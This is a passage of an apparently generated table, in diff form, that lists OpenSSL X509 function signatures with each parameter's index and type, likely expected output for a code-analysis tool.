OSSL_STORE_SEARCH_by_name | 0 | X509_NAME * | +| (X509_NAME *) | | X509_NAME_free | 0 | X509_NAME * | +| (X509_NAME **,const X509_NAME *) | | X509_NAME_set | 0 | X509_NAME ** | +| (X509_NAME **,const X509_NAME *) | | X509_NAME_set | 1 | const X509_NAME * | +| (X509_NAME **,const unsigned char **,long) | | d2i_X509_NAME | 0 | X509_NAME ** | +| (X509_NAME **,const unsigned char **,long) | | d2i_X509_NAME | 1 | const unsigned char ** | +| (X509_NAME **,const unsigned char **,long) | | d2i_X509_NAME | 2 | long | +| (X509_NAME *,const ASN1_INTEGER *) | | OSSL_STORE_SEARCH_by_issuer_serial | 0 | X509_NAME * | +| (X509_NAME *,const ASN1_INTEGER *) | | OSSL_STORE_SEARCH_by_issuer_serial | 1 | const ASN1_INTEGER * | +| (X509_NAME *,const X509_NAME_ENTRY *,int,int) | | X509_NAME_add_entry | 0 | X509_NAME * | +| (X509_NAME *,const X509_NAME_ENTRY *,int,int) | | X509_NAME_add_entry | 1 | const X509_NAME_ENTRY * | +| (X509_NAME *,const X509_NAME_ENTRY *,int,int) | | X509_NAME_add_entry | 2 | int | +| (X509_NAME *,const X509_NAME_ENTRY *,int,int) | | X509_NAME_add_entry | 3 | int | +| (X509_NAME *,int) | | X509_NAME_delete_entry | 0 | X509_NAME * | +| (X509_NAME *,int) | | X509_NAME_delete_entry | 1 | int | +| (X509_NAME_ENTRY *) | | X509_NAME_ENTRY_free | 0 | X509_NAME_ENTRY * | +| (X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int) | | X509_NAME_ENTRY_create_by_OBJ | 0 | X509_NAME_ENTRY ** | +| (X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int) | | X509_NAME_ENTRY_create_by_OBJ | 1 | const ASN1_OBJECT * | +| (X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int) | | X509_NAME_ENTRY_create_by_OBJ | 2 | int | +| (X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int) | | X509_NAME_ENTRY_create_by_OBJ | 3 | const unsigned char * | +| (X509_NAME_ENTRY **,const ASN1_OBJECT *,int,const unsigned char *,int) | | X509_NAME_ENTRY_create_by_OBJ | 4 | int | +| (X509_NAME_ENTRY **,const char *,int,const unsigned char *,int) | | X509_NAME_ENTRY_create_by_txt | 0 | X509_NAME_ENTRY ** | +| (X509_NAME_ENTRY **,const char *,int,const unsigned char *,int) | | X509_NAME_ENTRY_create_by_txt | 1 | const char * | +| (X509_NAME_ENTRY **,const char *,int,const unsigned char *,int) | | X509_NAME_ENTRY_create_by_txt | 2 | int | +| (X509_NAME_ENTRY **,const char *,int,const unsigned char *,int) | | X509_NAME_ENTRY_create_by_txt | 3 | const unsigned char * | +| (X509_NAME_ENTRY **,const char *,int,const unsigned char *,int) | | X509_NAME_ENTRY_create_by_txt | 4 | int | +| (X509_NAME_ENTRY **,const unsigned char **,long) | | d2i_X509_NAME_ENTRY | 0 | X509_NAME_ENTRY ** | +| (X509_NAME_ENTRY **,const unsigned char **,long) | | d2i_X509_NAME_ENTRY | 1 | const unsigned char ** | +| (X509_NAME_ENTRY **,const unsigned char **,long) | | d2i_X509_NAME_ENTRY | 2 | long | +| (X509_NAME_ENTRY **,int,int,const unsigned char *,int) | | X509_NAME_ENTRY_create_by_NID | 0 | X509_NAME_ENTRY ** | +| (X509_NAME_ENTRY **,int,int,const unsigned char *,int) | | X509_NAME_ENTRY_create_by_NID | 1 | int | +| (X509_NAME_ENTRY **,int,int,const unsigned char *,int) | | X509_NAME_ENTRY_create_by_NID | 2 | int | +| (X509_NAME_ENTRY **,int,int,const unsigned char *,int) | | X509_NAME_ENTRY_create_by_NID | 3 | const unsigned char * | +| (X509_NAME_ENTRY **,int,int,const unsigned char *,int) | | X509_NAME_ENTRY_create_by_NID | 4 | int | +| (X509_NAME_ENTRY *,const ASN1_OBJECT *) | | X509_NAME_ENTRY_set_object | 0 | X509_NAME_ENTRY * | +| (X509_NAME_ENTRY *,const ASN1_OBJECT *) | | X509_NAME_ENTRY_set_object | 1 | const ASN1_OBJECT * | +| (X509_NAME_ENTRY *,int,const unsigned char *,int) | | X509_NAME_ENTRY_set_data | 0 | X509_NAME_ENTRY * | +| (X509_NAME_ENTRY *,int,const unsigned char *,int) | | X509_NAME_ENTRY_set_data | 1 | int | +| (X509_NAME_ENTRY *,int,const unsigned char *,int) | | X509_NAME_ENTRY_set_data | 2 | const unsigned char * | +| (X509_NAME_ENTRY *,int,const unsigned char *,int) | | X509_NAME_ENTRY_set_data | 3 | int | +| (X509_OBJECT *,X509 *) | | X509_OBJECT_set1_X509 | 0 | X509_OBJECT * | +| (X509_OBJECT *,X509 *) | | X509_OBJECT_set1_X509 | 1 | X509 * | +| (X509_OBJECT *,X509_CRL *) | | X509_OBJECT_set1_X509_CRL | 0 | X509_OBJECT * | +| (X509_OBJECT *,X509_CRL *) | | X509_OBJECT_set1_X509_CRL | 1 | X509_CRL * | +| (X509_POLICY_LEVEL *) | | X509_policy_level_node_count | 0 | X509_POLICY_LEVEL * | +| (X509_POLICY_LEVEL *,X509_POLICY_DATA *,X509_POLICY_NODE *,X509_POLICY_TREE *,int) | | ossl_policy_level_add_node | 0 | X509_POLICY_LEVEL * | +| (X509_POLICY_LEVEL *,X509_POLICY_DATA *,X509_POLICY_NODE *,X509_POLICY_TREE *,int) | | ossl_policy_level_add_node | 1 | X509_POLICY_DATA * | +| (X509_POLICY_LEVEL *,X509_POLICY_DATA *,X509_POLICY_NODE *,X509_POLICY_TREE *,int) | | ossl_policy_level_add_node | 2 | X509_POLICY_NODE * | +| (X509_POLICY_LEVEL *,X509_POLICY_DATA *,X509_POLICY_NODE *,X509_POLICY_TREE *,int) | | ossl_policy_level_add_node | 3 | X509_POLICY_TREE * | +| (X509_POLICY_LEVEL *,X509_POLICY_DATA *,X509_POLICY_NODE *,X509_POLICY_TREE *,int) | | ossl_policy_level_add_node | 4 | int | +| (X509_POLICY_TREE **,int *,stack_st_X509 *,stack_st_ASN1_OBJECT *,unsigned int) | | X509_policy_check | 0 | X509_POLICY_TREE ** | +| (X509_POLICY_TREE **,int *,stack_st_X509 *,stack_st_ASN1_OBJECT *,unsigned int) | | X509_policy_check | 1 | int * | +| (X509_POLICY_TREE **,int *,stack_st_X509 *,stack_st_ASN1_OBJECT *,unsigned int) | | X509_policy_check | 2 | stack_st_X509 * | +| (X509_POLICY_TREE **,int *,stack_st_X509 *,stack_st_ASN1_OBJECT *,unsigned int) | | X509_policy_check | 3 | stack_st_ASN1_OBJECT * | +| (X509_POLICY_TREE **,int *,stack_st_X509 *,stack_st_ASN1_OBJECT *,unsigned int) | | X509_policy_check | 4 | unsigned int | +| (X509_PUBKEY *) | | X509_PUBKEY_free | 0 | X509_PUBKEY * | +| (X509_PUBKEY *) | | ossl_X509_PUBKEY_INTERNAL_free | 0 | X509_PUBKEY * | +| (X509_PUBKEY **,EVP_PKEY *) | | X509_PUBKEY_set | 0 | X509_PUBKEY ** | +| (X509_PUBKEY **,EVP_PKEY *) | | X509_PUBKEY_set | 1 | EVP_PKEY * | +| (X509_PUBKEY **,const unsigned char **,long) | | d2i_X509_PUBKEY | 0 | X509_PUBKEY ** | +| (X509_PUBKEY **,const unsigned char **,long) | | d2i_X509_PUBKEY | 1 | const unsigned char ** | +| (X509_PUBKEY **,const unsigned char **,long) | | d2i_X509_PUBKEY | 2 | long | +| (X509_PUBKEY *,ASN1_OBJECT *,int,void *,unsigned char *,int) | | X509_PUBKEY_set0_param | 0 | X509_PUBKEY * | +| (X509_PUBKEY *,ASN1_OBJECT *,int,void *,unsigned char *,int) | | X509_PUBKEY_set0_param | 1 | ASN1_OBJECT * | +| (X509_PUBKEY *,ASN1_OBJECT *,int,void *,unsigned char *,int) | | X509_PUBKEY_set0_param | 2 | int | +| (X509_PUBKEY *,ASN1_OBJECT *,int,void *,unsigned char *,int) | | X509_PUBKEY_set0_param | 3 | void * | +| (X509_PUBKEY *,ASN1_OBJECT *,int,void *,unsigned char *,int) | | X509_PUBKEY_set0_param | 4 | unsigned char * | +| (X509_PUBKEY *,ASN1_OBJECT *,int,void *,unsigned char *,int) | | X509_PUBKEY_set0_param | 5 | int | +| (X509_PUBKEY *,unsigned char *,int) | | X509_PUBKEY_set0_public_key | 0 | X509_PUBKEY * | +| (X509_PUBKEY *,unsigned char *,int) | | X509_PUBKEY_set0_public_key | 1 | unsigned char * | +| (X509_PUBKEY *,unsigned char *,int) | | X509_PUBKEY_set0_public_key | 2 | int | +| (X509_REQ *) | | X509_REQ_free | 0 | X509_REQ * | +| (X509_REQ *) | | X509_REQ_get0_distinguishing_id | 0 | X509_REQ * | +| (X509_REQ *) | | X509_REQ_get_X509_PUBKEY | 0 | X509_REQ * | +| (X509_REQ **,const unsigned char **,long) | | d2i_X509_REQ | 0 | X509_REQ ** | +| (X509_REQ **,const unsigned char **,long) | | d2i_X509_REQ | 1 | const unsigned char ** | +| (X509_REQ **,const unsigned char **,long) | | d2i_X509_REQ | 2 | long | +| (X509_REQ *,ASN1_BIT_STRING *) | | X509_REQ_set0_signature | 0 | X509_REQ * | +| (X509_REQ *,ASN1_BIT_STRING *) | | X509_REQ_set0_signature | 1 | ASN1_BIT_STRING * | +| (X509_REQ *,ASN1_OCTET_STRING *) | | X509_REQ_set0_distinguishing_id | 0 | X509_REQ * | +| (X509_REQ *,ASN1_OCTET_STRING *) | | X509_REQ_set0_distinguishing_id | 1 | ASN1_OCTET_STRING * | +| (X509_REQ *,EVP_MD_CTX *) | | X509_REQ_sign_ctx | 0 | X509_REQ * | +| (X509_REQ *,EVP_MD_CTX *) | | X509_REQ_sign_ctx | 1 | EVP_MD_CTX * | +| (X509_REQ *,EVP_PKEY *,const EVP_MD *) | | X509_REQ_sign | 0 | X509_REQ * | +| (X509_REQ *,EVP_PKEY *,const EVP_MD *) | | X509_REQ_sign | 1 | EVP_PKEY * | +| (X509_REQ *,EVP_PKEY *,const EVP_MD *) | | X509_REQ_sign | 2 | const EVP_MD * | +| (X509_REQ *,EVP_PKEY *,stack_st_OPENSSL_STRING *) | | do_X509_REQ_verify | 0 | X509_REQ * | +| (X509_REQ *,EVP_PKEY *,stack_st_OPENSSL_STRING *) | | do_X509_REQ_verify | 1 | EVP_PKEY * | +| (X509_REQ *,EVP_PKEY *,stack_st_OPENSSL_STRING *) | | do_X509_REQ_verify | 2 | stack_st_OPENSSL_STRING * | +| (X509_REQ *,OSSL_LIB_CTX *,const char *) | | ossl_x509_req_set0_libctx | 0 | X509_REQ * | +| (X509_REQ *,OSSL_LIB_CTX *,const char *) | | ossl_x509_req_set0_libctx | 1 | OSSL_LIB_CTX * | +| (X509_REQ *,OSSL_LIB_CTX *,const char *) | | ossl_x509_req_set0_libctx | 2 | const char * | +| (X509_REQ *,X509_ALGOR *) | | X509_REQ_set1_signature_algo | 0 | X509_REQ * | +| (X509_REQ *,X509_ALGOR *) | | X509_REQ_set1_signature_algo | 1 | X509_ALGOR * | +| (X509_REQ *,X509_ATTRIBUTE *) | | X509_REQ_add1_attr | 0 | X509_REQ * | +| (X509_REQ *,X509_ATTRIBUTE *) | | X509_REQ_add1_attr | 1 | X509_ATTRIBUTE * | +| (X509_REQ *,const X509_NAME *) | | X509_REQ_set_subject_name | 0 | X509_REQ * | +| (X509_REQ *,const X509_NAME *) | | X509_REQ_set_subject_name | 1 | const X509_NAME * | +| (X509_REQ *,const char *) | | x509_req_ctrl_string | 0 | X509_REQ * | +| (X509_REQ *,const char *) | | x509_req_ctrl_string | 1 | const char * | +| (X509_REQ *,int) | | X509_REQ_delete_attr | 0 | X509_REQ * | +| (X509_REQ *,int) | | X509_REQ_delete_attr | 1 | int | +| (X509_REQ *,unsigned char **) | | i2d_re_X509_REQ_tbs | 0 | X509_REQ * | +| (X509_REQ *,unsigned char **) | | i2d_re_X509_REQ_tbs | 1 | unsigned char ** | +| (X509_REQ_INFO *) | | X509_REQ_INFO_free | 0 | X509_REQ_INFO * | +| (X509_REQ_INFO **,const unsigned char **,long) | | d2i_X509_REQ_INFO | 0 | X509_REQ_INFO ** | +| (X509_REQ_INFO **,const unsigned char **,long) | | d2i_X509_REQ_INFO | 1 | const unsigned char ** | +| (X509_REQ_INFO **,const unsigned char **,long) | | d2i_X509_REQ_INFO | 2 | long | +| (X509_REVOKED *) | | X509_REVOKED_free | 0 | X509_REVOKED * | +| (X509_REVOKED **,const unsigned char **,long) | | d2i_X509_REVOKED | 0 | X509_REVOKED ** | +| (X509_REVOKED **,const unsigned char **,long) | | d2i_X509_REVOKED | 1 | const unsigned char ** | +| (X509_REVOKED **,const unsigned char **,long) | | d2i_X509_REVOKED | 2 | long | +| (X509_REVOKED *,ASN1_TIME *) | | X509_REVOKED_set_revocationDate | 0 | X509_REVOKED * | +| (X509_REVOKED *,ASN1_TIME *) | | X509_REVOKED_set_revocationDate | 1 | ASN1_TIME * | +| (X509_REVOKED *,X509_EXTENSION *,int) | | X509_REVOKED_add_ext | 0 | X509_REVOKED * | +| (X509_REVOKED *,X509_EXTENSION *,int) | | X509_REVOKED_add_ext | 1 | X509_EXTENSION * | +| (X509_REVOKED *,X509_EXTENSION *,int) | | X509_REVOKED_add_ext | 2 | int | +| (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 0 | X509_REVOKED * | +| (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 1 | int | +| (X509_REVOKED *,int,void *,int,unsigned long) | | X509_REVOKED_add1_ext_i2d | 0 | X509_REVOKED * | +| (X509_REVOKED *,int,void *,int,unsigned long) | | X509_REVOKED_add1_ext_i2d | 1 | int | +| (X509_REVOKED *,int,void *,int,unsigned long) | | X509_REVOKED_add1_ext_i2d | 2 | void * | +| (X509_REVOKED *,int,void *,int,unsigned long) | | X509_REVOKED_add1_ext_i2d | 3 | int | +| (X509_REVOKED *,int,void *,int,unsigned long) | | X509_REVOKED_add1_ext_i2d | 4 | unsigned long | +| (X509_SIG *) | | PKCS12_SAFEBAG_create0_pkcs8 | 0 | X509_SIG * | +| (X509_SIG *) | | X509_SIG_free | 0 | X509_SIG * | +| (X509_SIG **,const unsigned char **,long) | | d2i_X509_SIG | 0 | X509_SIG ** | +| (X509_SIG **,const unsigned char **,long) | | d2i_X509_SIG | 1 | const unsigned char ** | +| (X509_SIG **,const unsigned char **,long) | | d2i_X509_SIG | 2 | long | +| (X509_SIG *,X509_ALGOR **,ASN1_OCTET_STRING **) | | X509_SIG_getm | 0 | X509_SIG * | +| (X509_SIG *,X509_ALGOR **,ASN1_OCTET_STRING **) | | X509_SIG_getm | 1 | X509_ALGOR ** | +| (X509_SIG *,X509_ALGOR **,ASN1_OCTET_STRING **) | | X509_SIG_getm | 2 | ASN1_OCTET_STRING ** | +| (X509_SIG_INFO *,int,int,int,uint32_t) | | X509_SIG_INFO_set | 0 | X509_SIG_INFO * | +| (X509_SIG_INFO *,int,int,int,uint32_t) | | X509_SIG_INFO_set | 1 | int | +| (X509_SIG_INFO *,int,int,int,uint32_t) | | X509_SIG_INFO_set | 2 | int | +| (X509_SIG_INFO *,int,int,int,uint32_t) | | X509_SIG_INFO_set | 3 | int | +| (X509_SIG_INFO *,int,int,int,uint32_t) | | X509_SIG_INFO_set | 4 | uint32_t | +| (X509_STORE *) | | X509_STORE_get1_objects | 0 | X509_STORE * | +| (X509_STORE *,X509_LOOKUP_METHOD *) | | X509_STORE_add_lookup | 0 | X509_STORE * | +| (X509_STORE *,X509_LOOKUP_METHOD *) | | X509_STORE_add_lookup | 1 | X509_LOOKUP_METHOD * | +| (X509_STORE *,X509_STORE_CTX *,BIO *,PKCS7 *,PKCS7_SIGNER_INFO *) | | PKCS7_dataVerify | 0 | X509_STORE * | +| (X509_STORE *,X509_STORE_CTX *,BIO *,PKCS7 *,PKCS7_SIGNER_INFO *) | | PKCS7_dataVerify | 1 | X509_STORE_CTX * | +| (X509_STORE *,X509_STORE_CTX *,BIO *,PKCS7 *,PKCS7_SIGNER_INFO *) | | PKCS7_dataVerify | 2 | BIO * | +| (X509_STORE *,X509_STORE_CTX *,BIO *,PKCS7 *,PKCS7_SIGNER_INFO *) | | PKCS7_dataVerify | 3 | PKCS7 * | +| (X509_STORE *,X509_STORE_CTX *,BIO *,PKCS7 *,PKCS7_SIGNER_INFO *) | | PKCS7_dataVerify | 4 | PKCS7_SIGNER_INFO * | +| (X509_STORE *,X509_STORE_CTX_cert_crl_fn) | | X509_STORE_set_cert_crl | 0 | X509_STORE * | +| (X509_STORE *,X509_STORE_CTX_cert_crl_fn) | | X509_STORE_set_cert_crl | 1 | X509_STORE_CTX_cert_crl_fn | +| (X509_STORE *,X509_STORE_CTX_check_crl_fn) | | X509_STORE_set_check_crl | 0 | X509_STORE * | +| (X509_STORE *,X509_STORE_CTX_check_crl_fn) | | X509_STORE_set_check_crl | 1 | X509_STORE_CTX_check_crl_fn | +| (X509_STORE *,X509_STORE_CTX_check_issued_fn) | | X509_STORE_set_check_issued | 0 | X509_STORE * | +| (X509_STORE *,X509_STORE_CTX_check_issued_fn) | | X509_STORE_set_check_issued | 1 | X509_STORE_CTX_check_issued_fn | +| (X509_STORE *,X509_STORE_CTX_check_policy_fn) | | X509_STORE_set_check_policy | 0 | X509_STORE * | +| (X509_STORE *,X509_STORE_CTX_check_policy_fn) | | X509_STORE_set_check_policy | 1 | X509_STORE_CTX_check_policy_fn | +| (X509_STORE *,X509_STORE_CTX_check_revocation_fn) | | X509_STORE_set_check_revocation | 0 | X509_STORE * | +| (X509_STORE *,X509_STORE_CTX_check_revocation_fn) | | X509_STORE_set_check_revocation | 1 | X509_STORE_CTX_check_revocation_fn | +| (X509_STORE *,X509_STORE_CTX_cleanup_fn) | | X509_STORE_set_cleanup | 0 | X509_STORE * | +| (X509_STORE *,X509_STORE_CTX_cleanup_fn) | | X509_STORE_set_cleanup | 1 | X509_STORE_CTX_cleanup_fn | +| (X509_STORE *,X509_STORE_CTX_get_crl_fn) | | X509_STORE_set_get_crl | 0 | X509_STORE * | +| (X509_STORE *,X509_STORE_CTX_get_crl_fn) | | X509_STORE_set_get_crl | 1 | X509_STORE_CTX_get_crl_fn | +| (X509_STORE *,X509_STORE_CTX_get_issuer_fn) | | X509_STORE_set_get_issuer | 0 | X509_STORE * | +| (X509_STORE *,X509_STORE_CTX_get_issuer_fn) | | X509_STORE_set_get_issuer | 1 | X509_STORE_CTX_get_issuer_fn | +| (X509_STORE *,X509_STORE_CTX_lookup_certs_fn) | | X509_STORE_set_lookup_certs | 0 | X509_STORE * | +| (X509_STORE *,X509_STORE_CTX_lookup_certs_fn) | | X509_STORE_set_lookup_certs | 1 | X509_STORE_CTX_lookup_certs_fn | +| (X509_STORE *,X509_STORE_CTX_lookup_crls_fn) | | X509_STORE_set_lookup_crls | 0 | X509_STORE * | +| (X509_STORE *,X509_STORE_CTX_lookup_crls_fn) | | X509_STORE_set_lookup_crls | 1 | X509_STORE_CTX_lookup_crls_fn | +| (X509_STORE *,X509_STORE_CTX_verify_cb) | | X509_STORE_set_verify_cb | 0 | X509_STORE * | +| (X509_STORE *,X509_STORE_CTX_verify_cb) | | X509_STORE_set_verify_cb | 1 | X509_STORE_CTX_verify_cb | +| (X509_STORE *,X509_STORE_CTX_verify_fn) | | X509_STORE_set_verify | 0 | X509_STORE * | +| (X509_STORE *,X509_STORE_CTX_verify_fn) | | X509_STORE_set_verify | 1 | X509_STORE_CTX_verify_fn | +| (X509_STORE *,const X509_VERIFY_PARAM *) | | X509_STORE_set1_param | 0 | X509_STORE * | +| (X509_STORE *,const X509_VERIFY_PARAM *) | | X509_STORE_set1_param | 1 | const X509_VERIFY_PARAM * | +| (X509_STORE *,int) | | X509_STORE_set_depth | 0 | X509_STORE * | +| (X509_STORE *,int) | | X509_STORE_set_depth | 1 | int | +| (X509_STORE *,int) | | X509_STORE_set_purpose | 0 | X509_STORE * | +| (X509_STORE *,int) | | X509_STORE_set_purpose | 1 | int | +| (X509_STORE *,int) | | X509_STORE_set_trust | 0 | X509_STORE * | +| (X509_STORE *,int) | | X509_STORE_set_trust | 1 | int | +| (X509_STORE *,unsigned long) | | X509_STORE_set_flags | 0 | X509_STORE * | +| (X509_STORE *,unsigned long) | | X509_STORE_set_flags | 1 | unsigned long | +| (X509_STORE_CTX *,EVP_PKEY *) | | X509_STORE_CTX_set0_rpk | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,EVP_PKEY *) | | X509_STORE_CTX_set0_rpk | 1 | EVP_PKEY * | +| (X509_STORE_CTX *,SSL_DANE *) | | X509_STORE_CTX_set0_dane | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,SSL_DANE *) | | X509_STORE_CTX_set0_dane | 1 | SSL_DANE * | +| (X509_STORE_CTX *,X509 *) | | X509_STORE_CTX_set_cert | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,X509 *) | | X509_STORE_CTX_set_cert | 1 | X509 * | +| (X509_STORE_CTX *,X509 *) | | X509_STORE_CTX_set_current_cert | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,X509 *) | | X509_STORE_CTX_set_current_cert | 1 | X509 * | +| (X509_STORE_CTX *,X509 *,int) | | ossl_x509_check_cert_time | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,X509 *,int) | | ossl_x509_check_cert_time | 1 | X509 * | +| (X509_STORE_CTX *,X509 *,int) | | ossl_x509_check_cert_time | 2 | int | +| (X509_STORE_CTX *,X509_STORE *,EVP_PKEY *) | | X509_STORE_CTX_init_rpk | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,X509_STORE *,EVP_PKEY *) | | X509_STORE_CTX_init_rpk | 1 | X509_STORE * | +| (X509_STORE_CTX *,X509_STORE *,EVP_PKEY *) | | X509_STORE_CTX_init_rpk | 2 | EVP_PKEY * | +| (X509_STORE_CTX *,X509_STORE *,X509 *,stack_st_X509 *) | | X509_STORE_CTX_init | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,X509_STORE *,X509 *,stack_st_X509 *) | | X509_STORE_CTX_init | 1 | X509_STORE * | +| (X509_STORE_CTX *,X509_STORE *,X509 *,stack_st_X509 *) | | X509_STORE_CTX_init | 2 | X509 * | +| (X509_STORE_CTX *,X509_STORE *,X509 *,stack_st_X509 *) | | X509_STORE_CTX_init | 3 | stack_st_X509 * | +| (X509_STORE_CTX *,X509_STORE_CTX_get_crl_fn) | | X509_STORE_CTX_set_get_crl | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,X509_STORE_CTX_get_crl_fn) | | X509_STORE_CTX_set_get_crl | 1 | X509_STORE_CTX_get_crl_fn | +| (X509_STORE_CTX *,X509_STORE_CTX_verify_cb) | | X509_STORE_CTX_set_verify_cb | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,X509_STORE_CTX_verify_cb) | | X509_STORE_CTX_set_verify_cb | 1 | X509_STORE_CTX_verify_cb | +| (X509_STORE_CTX *,X509_STORE_CTX_verify_fn) | | X509_STORE_CTX_set_verify | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,X509_STORE_CTX_verify_fn) | | X509_STORE_CTX_set_verify | 1 | X509_STORE_CTX_verify_fn | +| (X509_STORE_CTX *,X509_VERIFY_PARAM *) | | X509_STORE_CTX_set0_param | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,X509_VERIFY_PARAM *) | | X509_STORE_CTX_set0_param | 1 | X509_VERIFY_PARAM * | +| (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 1 | int | +| (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 1 | int | +| (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 1 | int | +| (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 1 | int | +| (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 1 | int | +| (X509_STORE_CTX *,int,int,int) | | X509_STORE_CTX_purpose_inherit | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,int,int,int) | | X509_STORE_CTX_purpose_inherit | 1 | int | +| (X509_STORE_CTX *,int,int,int) | | X509_STORE_CTX_purpose_inherit | 2 | int | +| (X509_STORE_CTX *,int,int,int) | | X509_STORE_CTX_purpose_inherit | 3 | int | +| (X509_STORE_CTX *,stack_st_X509 *) | | X509_STORE_CTX_set0_trusted_stack | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,stack_st_X509 *) | | X509_STORE_CTX_set0_trusted_stack | 1 | stack_st_X509 * | +| (X509_STORE_CTX *,stack_st_X509 *) | | X509_STORE_CTX_set0_untrusted | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,stack_st_X509 *) | | X509_STORE_CTX_set0_untrusted | 1 | stack_st_X509 * | +| (X509_STORE_CTX *,stack_st_X509 *) | | X509_STORE_CTX_set0_verified_chain | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,stack_st_X509 *) | | X509_STORE_CTX_set0_verified_chain | 1 | stack_st_X509 * | +| (X509_STORE_CTX *,stack_st_X509_CRL *) | | X509_STORE_CTX_set0_crls | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,stack_st_X509_CRL *) | | X509_STORE_CTX_set0_crls | 1 | stack_st_X509_CRL * | +| (X509_STORE_CTX *,unsigned int) | | X509_STORE_CTX_set_current_reasons | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,unsigned int) | | X509_STORE_CTX_set_current_reasons | 1 | unsigned int | +| (X509_STORE_CTX *,unsigned long) | | X509_STORE_CTX_set_flags | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,unsigned long) | | X509_STORE_CTX_set_flags | 1 | unsigned long | +| (X509_STORE_CTX *,unsigned long,time_t) | | X509_STORE_CTX_set_time | 0 | X509_STORE_CTX * | +| (X509_STORE_CTX *,unsigned long,time_t) | | X509_STORE_CTX_set_time | 1 | unsigned long | +| (X509_STORE_CTX *,unsigned long,time_t) | | X509_STORE_CTX_set_time | 2 | time_t | +| (X509_VAL *) | | X509_VAL_free | 0 | X509_VAL * | +| (X509_VAL **,const unsigned char **,long) | | d2i_X509_VAL | 0 | X509_VAL ** | +| (X509_VAL **,const unsigned char **,long) | | d2i_X509_VAL | 1 | const unsigned char ** | +| (X509_VAL **,const unsigned char **,long) | | d2i_X509_VAL | 2 | long | +| (X509_VERIFY_PARAM *) | | X509_VERIFY_PARAM_get0_email | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,ASN1_OBJECT *) | | X509_VERIFY_PARAM_add0_policy | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,ASN1_OBJECT *) | | X509_VERIFY_PARAM_add0_policy | 1 | ASN1_OBJECT * | +| (X509_VERIFY_PARAM *,X509_VERIFY_PARAM *) | | X509_VERIFY_PARAM_move_peername | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,X509_VERIFY_PARAM *) | | X509_VERIFY_PARAM_move_peername | 1 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,const X509_VERIFY_PARAM *) | | X509_VERIFY_PARAM_inherit | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,const X509_VERIFY_PARAM *) | | X509_VERIFY_PARAM_inherit | 1 | const X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,const X509_VERIFY_PARAM *) | | X509_VERIFY_PARAM_set1 | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,const X509_VERIFY_PARAM *) | | X509_VERIFY_PARAM_set1 | 1 | const X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_ip_asc | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_ip_asc | 1 | const char * | +| (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_name | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_name | 1 | const char * | +| (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_add1_host | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_add1_host | 1 | const char * | +| (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_add1_host | 2 | size_t | +| (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_set1_email | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_set1_email | 1 | const char * | +| (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_set1_email | 2 | size_t | +| (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_set1_host | 0 | X509_VERIFY_PARAM * | +| (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_set1_host | 1 | const char * | +| (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_set1_host | 2 | size_t | +| (X509_VERIFY_PARAM *,const unsigned char *,size_t) | | 